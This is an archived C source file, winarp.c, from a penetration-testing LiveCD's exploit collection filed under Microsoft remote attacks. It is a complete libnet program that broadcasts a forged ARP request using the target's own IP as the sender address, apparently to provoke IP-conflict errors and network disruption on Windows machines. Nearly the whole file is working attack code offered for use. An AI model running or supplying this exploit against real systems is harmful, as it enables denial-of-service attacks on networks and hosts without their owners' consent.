home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / winarp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  109 lines

  1. /*
  2.  *  Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
  3.  *  All rights reserved.
  4.  * 
  5.  *  Modified to winarps.c 1999 by kay <kay@phreedom.org> 
  6.  *
  7.  * Redistribution and use in source and binary forms, with or without
  8.  * modification, are permitted provided that the following conditions
  9.  * are met:
  10.  * 1. Redistributions of source code must retain the above copyright
  11.  *    notice, this list of conditions and the following disclaimer.
  12.  * 2. Redistributions in binary form must reproduce the above copyright
  13.  *    notice, this list of conditions and the following disclaimer in the
  14.  *    documentation and/or other materials provided with the distribution.
  15.  *
  16.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  17.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  18.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  19.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  20.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  21.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  22.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  23.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  24.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  25.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  26.  * SUCH DAMAGE.
  27.  *
  28.  */
  29.  
  30. #include <libnet.h>
  31.  
  32. u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  33. u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  34. u_long ip_dst = 0;
  35.  
  36. void send_arp(struct link_int *, u_char *);
  37.  
  38. #if (__linux__)
  39. #define  IPOPT_SECURITY  130
  40. #endif
  41.  
  42. int main(int argc, char *argv[])
  43. {
  44.   int c, count = 1;
  45.   char errbuf[256];
  46.   char *device = NULL;
  47.   char *address = NULL;
  48.   struct link_int *l;
  49.  
  50.   while ((c = getopt(argc, argv, "i:d:c:")) != EOF)
  51.     {
  52.       switch (c)
  53.         {
  54.         case 'i':
  55.           device = optarg;
  56.           break;
  57.         case 'd':
  58.           address = optarg;
  59.           ip_dst = name_resolve(address, 0);
  60.           break;
  61.         case 'c':
  62.           count = atoi(optarg);
  63.           break;
  64.         default:
  65.           exit(EXIT_FAILURE);
  66.         }
  67.     }
  68.  
  69.   if (!device)
  70.     {
  71.       fprintf(stderr, "Specify a device\n");
  72.       exit(EXIT_FAILURE);
  73.     }
  74.   if (!ip_dst)
  75.     {
  76.       fprintf(stderr, "Specify destination\n");
  77.       exit(EXIT_FAILURE);
  78.     }
  79.   if ((l = open_link_interface(device, errbuf)) == NULL)
  80.     {
  81.       fprintf(stderr, "open_link_interface: %s\n", errbuf);
  82.       exit(EXIT_FAILURE);
  83.     }
  84.   send_arp(l, device);
  85.   exit(EXIT_SUCCESS);
  86. }
  87.  
  88.  
  89. void send_arp(struct link_int *l, u_char * device)
  90. {
  91.   int n;
  92.   u_char *buf;
  93.  
  94.   buf = (u_char *) malloc(ARP_H + ETH_H);
  95.   if (!buf)
  96.     {
  97.       perror("no packet memory");
  98.       exit(EXIT_FAILURE);
  99.     }
  100.   memset(buf, 0, ARP_H + ETH_H);
  101.  
  102.   build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  103.   build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
  104.             (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
  105.   n = write_link_layer(l, device, buf, ARP_H + ETH_H);
  106.  
  107.   printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
  108. }
  109. /*                    www.hack.co.za              [2000]*/